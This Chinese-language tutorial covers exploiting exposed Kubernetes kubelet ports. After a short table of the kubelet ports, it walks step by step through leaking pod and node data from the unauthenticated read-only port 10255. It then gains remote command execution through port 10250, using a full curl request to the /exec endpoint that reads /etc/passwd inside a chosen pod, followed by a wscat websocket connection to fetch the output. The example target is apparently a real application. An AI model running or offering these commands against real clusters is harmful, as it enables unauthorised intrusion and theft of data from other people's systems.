kubelet漏洞利用

一、简介

kubernetes 是一个分布式的集群管理系统,在每个节点(node)上都要运行一个kubelet对容器进行生命周期的管理。
kubelet开放的端口有:

端口 作用 描述
4194 cAdvisor 监听 kublet 通过该端口可以获取到该节点的环境信息以及 node 上运行的容器状态等内容,访问 http://localhost:4194 可以看到 cAdvisor 的管理界面,通过 kubelet 的启动参数 --cadvisor-port 可以指定启动的端口。
10248 健康检查端口 健康检查通过访问该端口可以判断 kubelet 是否正常工作,通过 kubelet 的启动参数 --healthz-port 和 --healthz-bind-address 来指定监听的地址和端口。
10250 kubelet API kubelet server 与 apiserver 通信的端口,定期请求 apiserver 获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态。
10255 readonly API 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权。

二、漏洞利用

kubernetes主要漏洞有端口开放泄露敏感信息,10255端口如果对外开放,攻击者利用公开api可以获取敏感信息。更严重的漏洞是开放10250端口,可能存在远程命令执行漏洞。通过以使用kubernetes的某应用为例说明漏洞的利用方法。
首先确定该应用使用了kubernetes,并开放了4个端口。
kubelet漏洞利用

1、10255端口泄露敏感信息

该漏洞利用比较简单,直接在浏览器中访问:http://X.X.X.X:10255/logs/ ,或者其他api也行,查看是否存在响应数据,如果存在,则暴露出敏感信息。
kubelet漏洞利用

2、远程命令执行漏洞

该漏洞的利用相对复杂一点,首先需要访问https://X.X.X.X:10250/pods/,确认10250端口对外开放。如果开放,则进行下一步,需要一台linux主机执行以下指令:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://X.X.X.X:10250/exec/namespace/podname/container-name?command=cat&command=/etc/passwd&input=1&output=1&tty=1"
command就是要远程执行的命令,本例是cat /etc/passwd。很明显需要确定三个参数,namespace、podname和container-name,此时又需要在https://X.X.X.X:10250/pods/页面中选择一个pod,如下图:
kubelet漏洞利用
构造好curl请求之后,得到执行结果,其中location就是所需要的websocket地址。
kubelet漏洞利用
然后在使用wscat工具连接websocket。如果在windows下安装wscat,需要先安装node和npm。wscat命令为:
wscat -c “https://X.X.X.X:10250/location的值” --no-check
查看响应值,得到/etc/passwd,确定命令执行成功。
kubelet漏洞利用